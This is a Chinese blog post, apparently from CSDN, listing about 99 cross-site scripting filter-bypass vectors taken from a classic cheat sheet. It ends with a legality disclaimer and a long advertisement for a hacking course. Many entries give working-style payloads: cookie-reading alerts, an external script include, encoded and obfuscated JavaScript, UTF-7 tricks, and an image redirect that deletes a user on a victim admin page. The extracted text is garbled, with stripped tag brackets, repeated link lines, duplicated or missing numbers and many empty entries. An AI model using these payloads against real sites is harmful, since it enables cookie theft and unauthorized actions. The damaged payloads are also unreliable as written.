XSS 攻防实战:100 种绕过方法 + 利用技巧,白帽进阶必学
尽管许多网站实施了输入过滤措施来防止跨站脚本XSS攻击但在特定条件下经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。网络安全入门XSS攻击以下是一些具体的XSS绕过过滤的方法1. XSS定位器在大多数存在漏洞的地方插入以下代码将弹出含有“XSS”字样的对话框。建议使用URL编码器对整个代码进行编码。小贴士如果想快速检查页面可以插入“任意文本”然后观察页面输出是否有明显变化以判断是否存在漏洞。以下为具体代码实现‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”; alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//– /SCRIPT”’SCRIPTalert(String.fromCharCode(88,83,83))/SCRIPT2. 简短的XSS定位器若页面空间有限且无JavaScript漏洞以下简短的字符串可用于快速检测XSS注入。注入后查看页面源代码检查是否出现**XSS** 或XSS字样。”;!–”XSS{()}3. 无过滤绕过这是一个标准的XSS注入代码通常会被防御但建议先测试一下。SCRIPT SRChttp://127.0.0.1/xss.js/SCRIPT4. 利用多语言进行过滤绕过利用多种语言特性可以绕过过滤机制。以下为示例代码‘”marqueeimg srcx onerrorconfirm(1)/marquee”/plaintext\/|\plaintext/onmouseoverprompt(1) scriptprompt(1)/scriptgmail.comisindex formactionjavascript:alert(/XSS/) typesubmit’–”/script scriptalert(document.cookie)/script” img/id”confirmlpar;1)”/alt”/”src”/”onerroreval(id)’” img src”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“5. 通过JavaScript命令实现的图片XSS图片注入使用JavaScript命令实现适用于大多数浏览器环境。示例代码如下IMG SRC”javascript:alert(‘XSS’);”6. 无分号无引号不使用分号和引号的XSS攻击示例IMG SRCjavascript:alert(‘XSS’)7. 不区分大小写的XSS攻击向量XSS攻击向量不区分JavaScript函数的大小写IMG SRCJaVaScRiPt:alert(‘XSS’)8. HTML实体使用HTML实体进行XSS攻击需要分号以生效IMG SRCjavascript:alert(quot;XSSquot;)9. 重音符混淆当需要在JavaScript代码中同时使用单引号和双引号时可使用重音符包含代码IMG SRCjavascript:alert(“RSnake says, ‘XSS’”)10. 畸形的A标签通过跳过HREF标签找到XSS漏洞的方法xxs link11. 畸形的IMG标签通过不严格的HTML解析来构建含有IMG标签的XSS攻击向量IMG “””12. fromCharCode函数如果不允许使用引号可以使用JavaScript的fromCharCode函数创建XSS攻击向量13. 使用默认SRC属性绕过SRC域名过滤器这种方法可以绕过大多数SRC域名过滤器适用于任何HTML标签14. 使用默认为空的SRC属性IMG SRC οnmοuseοver”alert(‘xxs’)”15. 使用不含SRC属性16. 通过error事件触发alert17. 对IMG标签中onerror属性进行编码18. 十进制HTML字符实体编码这种编码方式在某些浏览器中不支持直接使用javascript:形式的XSS示例19. 不带分号的十进制HTML字符实体编码这种编码方式适用于绕过特定形式的XSS过滤20. 不带分号的十六进制HTML字符实体编码IMG SRC#x6A#x61#x76#x61#x73#x63#x72#x69#x70#x74#x3A#x61#x6C#x65#x72#x74#x20. 不带分号的十六进制HTML字符实体编码此方法绕过某些假设字符实体编码需要用分号结尾的过滤器21. 内嵌TAB使用TAB字符分隔XSS攻击代码适用于某些解析环境IMG SRC”jav ascript:alert(‘XSS’);”22. 内嵌编码后的TAB使用编码后的TAB字符分隔XSS攻击代码23. 内嵌换行分隔XSS攻击代码利用换行字符分隔代码仅特定字符有效24. 内嵌回车分隔XSS攻击代码使用回车字符分隔注意字符长度25. 使用空字符分隔JavaScript指令空字符也可以用作XSS攻击需要特殊工具或编码perl -e ‘print “”;’ out26. 利用IMG标签中JavaScript指令前的空格和元字符如果过滤器不计算“javascript:”前的空格这种方法将有效IMG SRC” javascript:alert(‘XSS’);”27. 利用非字母非数字字符某些浏览器的HTML解析器认为非字母非数字字符作为空白或无效符号而XSS过滤器可能未考虑此情况SCRIPT/XSS SRC”http://xss.rocks/xss.js“28. 额外的尖括号通过在XSS攻击向量中添加额外的尖括号来绕过某些检测引擎29. 未闭合的script标签在某些浏览器中未闭合的标签会被自动闭合这为XSS提供了机会33. JavaScript双重转义当应用错误地转义用户输入时可以通过双重转义进行XSS攻击34. 闭合title标签通过闭合title标签进行XSS攻击\\\ #### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)35\. INPUT image 利用输入类型为image的INPUT标签执行XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)36\. BODY image 在BODY标签的BACKGROUND属性中插入XSS代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)37\. IMG Dynsrc 通过IMG标签的DYNSRC属性实施XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)38\. IMG lowsrc 利用IMG标签的LOWSRC属性进行XSS注入#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)39\. List-style-image 通过样式属性中的list-style-image进行XSS攻击仅在特定浏览器环境下有效XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)40\. 图片中引用VBscript 利用VBScript在IMG标签中执行XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)41\. Livescript (仅限旧版本Netscape) 在老版本的Netscape浏览器中通过Livescript执行XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)42\. SVG对象标签 使用SVG标签触发XSS攻击svg/οnlοadalert(‘XSS’)#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)43\. ECMAScript 6 利用ECMAScript 6特性构造XSS攻击Set.constructoralert\x28document.domain\x29#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)44\. BODY标签 通过BODY标签的事件处理器实现XSS攻击无需javascript:前缀#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)45\. 事件处理程序 XSS攻击可以利用多种HTML事件以下是部分事件列表 * onAbort() * onActivate() * onAfterPrint() * … 更多事件 … #### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)46\. BGSOUND标签 利用BGSOUND标签在某些浏览器中实现XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)47\. JavaScript包含 使用字符和JavaScript结合构造XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)48\. 样式表 利用LINK标签的HREF属性指向JavaScript进行XSS注入#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)49\. 远程样式表 利用远程样式表插入XSS代码特定环境下有效#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)50\. 远程样式表2 使用STYLE标签和import规则加载包含XSS代码的远程样式表#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)51\. 远程样式表3 在特定浏览器中使用META标签设置Link头部实施XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)52\. 远程样式表4 在Gecko渲染引擎下利用STYLE标签和-moz-binding属性进行XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)53\. 含有分隔JavaScript的STYLE标签 利用特殊的字符序列在STYLE标签内部分隔JavaScript代码适用于IE环境#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)54\. STYLE属性中使用注释分隔表达式 利用注释分隔的方式在IMG标签的STYLE属性中插入XSS代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)55\. 含表达式的IMG STYLE 将XSS代码嵌入到IMG标签的STYLE属性中适用于IE环境exp/*#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)56\. STYLE标签仅旧版本Netscape可用 在旧版本Netscape浏览器中使用STYLE标签执行JavaScript代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)57\. 使用背景图像的STYLE标签 利用STYLE标签设置背景图像为JavaScript代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)58\. 使用背景的STYLE标签 通过BODY标签的STYLE属性设置背景图像执行JavaScript代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)59\. 含STYLE属性的HTML任意标签 在任意HTML标签的STYLE属性中嵌入JavaScript代码适用于IE环境#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)60\. 本地htc文件 通过本地htc文件执行XSS代码需要与XSS攻击向量在相同服务器上#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)61\. US-ASCII编码 使用US-ASCII编码执行XSS攻击适用于使用该编码的服务器环境¼script¾alert(¢XSS¢)¼/script¾#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)62\. META标签 使用META标签进行页面刷新并执行JavaScript代码META HTTP#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)62\. META标签 使用META标签的刷新功能执行JavaScript代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)63\. 使用数据的META 通过META标签和data URL scheme实现XSS攻击不包含可见的SCRIPT单词或JavaScript指令#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)64\. 含有额外URL参数的META 通过在META标签中包含额外的URL参数绕过URL检查#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)65\. IFRAME 在允许IFRAME的情况下通过IFRAME标签实现XSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)66\. 基于事件的IFRAME 利用事件触发器在IFRAME标签中执行XSS代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)67\. FRAME 与IFRAME类似FRAME标签也可用于XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)68\. TABLE 通过TABLE标签的BACKGROUND属性插入XSS代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)69\. TD 利用TD标签的BACKGROUND属性进行XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)70\. DIV背景图像 在DIV标签的STYLE属性中设置背景图像为JavaScript代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)71\. 含有Unicode XSS利用代码的DIV背景图像 使用Unicode字符对URL参数进行混淆以实现XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)72\. 含有额外字符的DIV背景图像 在DIV标签中利用额外字符实现XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)73\. DIV表达式 利用DIV标签的STYLE属性中的表达式实现XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)74\. HTML条件注释块 利用HTML条件注释在特定浏览器中执行XSS代码#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)75\. BASE标签 使用BASE标签改变页面的基本URL以实施XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)76\. OBJECT标签 利用OBJECT标签加载含有XSS代码的外部资源#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)77\. 使用EMBED标签加载含有XSS的FLASH文件 通过EMBED标签加载含有XSS代码的FLASH文件适用于特定浏览器环境#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)78\. 使用EMBED SVG包含攻击向量 在特定浏览器下使用EMBED标签加载SVG代码实现XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)79\. 在FLASH中使用ActionScript混淆XSS攻击向量 利用FLASH文件中的ActionScript代码进行混淆以绕过过滤器a“get”;b“URL(”“;c“javascript:”;d“alert(‘XSS’);”)”;eval(abcd);#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)80\. CDATA混淆的XML数据岛 在特定环境下利用XML数据岛和CDATA混淆实现XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)81\. 使用XML数据岛生成含内嵌JavaScript的本地XML文件 通过本地XML文件包含JavaScript代码实施XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)82\. XML中使用HTMLTIME 利用HTMLTIME扩展在XML中嵌入JavaScript代码?xml:namespace prefixt nsurn:schemas-microsoft-com:time ?import namespacet implementation#default#time2#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)83\. 使用一些字符绕过.js过滤 通过改名将JavaScript文件伪装成图像文件以绕过过滤器#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)84\. SSI服务器端脚本包含 如果服务器端允许SSI可以利用它执行XSS攻击#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)85\. PHP 在服务器端安装了PHP的情况下可以利用PHP脚本实施XSS攻击? echo(#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)86\. 嵌入命令的IMAGE 利用IMAGE标签在密码保护页面上执行命令适用于管理员权限环境#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)87\. 嵌入命令的IMAGE II 通过重定向图片到特定命令可以在普通的图片请求中隐藏XSS攻击Redirect 302 /a.jpg http://victimsite.com/admin.aspdeleteuser#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)88\. Cookie篡改 利用META标签覆写cookie适用于某些特定场景#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)89\. UTF-7编码 在页面未指定编码或浏览器设置为UTF-7编码时可以利用UTF-7执行XSS攻击ADw-SCRIPTAD4-alert(XSS);ADw-/SCRIPTAD4-#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)90\. 利用HTML引号包含的XSS 在某些浏览器中可以通过特定的引号使用方式绕过XSS过滤器#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)91\. URL字符绕过 使用不同的编码和格式化方式绕过URL过滤XSSXSSXSSXSS#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)92\. 字符转义表 通过不同的字符组合实现“”的所有可能表示用于绕过过滤器%3Clt… 等等 …#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)93\. 绕过WAF的方法 利用特定技巧绕过Web应用程序防火墙WAF包括存储型XSS、基于DOM的XSS、请求重定向等多种方法... 更多示例 ...#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)94\. 存储型XSS 如果XSS代码已经绕过了输入过滤并存储在服务器上WAF可能无法在输出时阻止它。 #### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)95\. 基于JavaScript的反射型XSS 示例在脚本中使用setTimeout函数根据GET参数动态设置延时。#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)96\. 基于DOM的XSS 示例在脚本中直接执行GET参数的内容。#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)97\. 通过请求重定向构造XSS 示例在服务器端脚本中基于用户输入构造重定向。header(Location: .$_GET[‘param’]);#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)98\. 利用不过滤特定字符串的WAF 有些WAF可能不会过滤某些特定的字符串或脚本结构可以利用这一点构造XSS攻击。... 更多示例 ...#### [](https://blog.csdn.net/weixin_42340783/article/details/139598713?spm1001.2014.3001.5502)[](https://blog.csdn.net/2301_81464130/article/details/134948744?spm1001.2014.3001.5502)99\. Alert混淆以绕过过滤器 通过变换alert函数的调用方式绕过对alert关键字的过滤。(alert)(1)aalert,a(1)[1].find(alert)… 更多示例 …以上提到的XSS攻击技巧和方法都是为了帮助安全专家更好地理解和预防XSS漏洞。强调这些技术仅用于教育和安全测试目的任何非法使用都是不道德的可能会导致严重的法律后果。安全研究员和渗透测试人员应在合法和道德的框架内操作确保网络空间的安全和稳定。 [](https://blog.csdn.net/leah126/article/details/144474670?spm1001.2014.3001.5501)**黑客/网络安全学习路线** **今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。** 网络安全学习资源分享: 下面给大家分享一份2025最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术  **一、2025最新网络安全学习路线** 一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。 对于从来没有接触过网络安全的同学我们帮你准备了详细的学习**成长路线图学习规划**。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 **读者福利 |** **[CSDN大礼包《网络安全入门进阶学习资源包》免费分享](https://mp.weixin.qq.com/s/uURuj0sy5CLtipE62w5a_A)** **安全链接放心点击** **我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。** **L1级别:网络安全的基础入门** L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。  **L2级别网络安全的技术进阶** L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。  **L3级别网络安全的高阶提升** L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。  **L4级别网络安全的项目实战** L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题  整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。 **二、技术文档和经典PDF书籍** 书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本**书籍含电子版PDF**  **三、网络安全视频教程** 对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们**提供了丰富的网安视频教程**以动态、形象的方式展示技术概念**帮助你更快、更轻松地掌握核心知识**。 网上虽然也有很多的学习资源但基本上都**残缺不全**的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。  **四、网络安全护网行动/CTF比赛** **学以致用** 当你的理论知识积累到一定程度就需要通过项目实战**在实际操作中检验和巩固你所学到的知识**同时为你找工作和职业发展打下坚实的基础。  **五、网络安全工具包、面试题和源码** “工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。  面试不仅是技术的较量更需要充分的准备。 在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。 如果你是要**找网安方面的工作**它们绝对能帮你大忙。 这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。 参考解析深信服官网、奇安信官网、Freebuf、csdn等 内容特点条理清晰含图像化表示更加易懂。 内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…  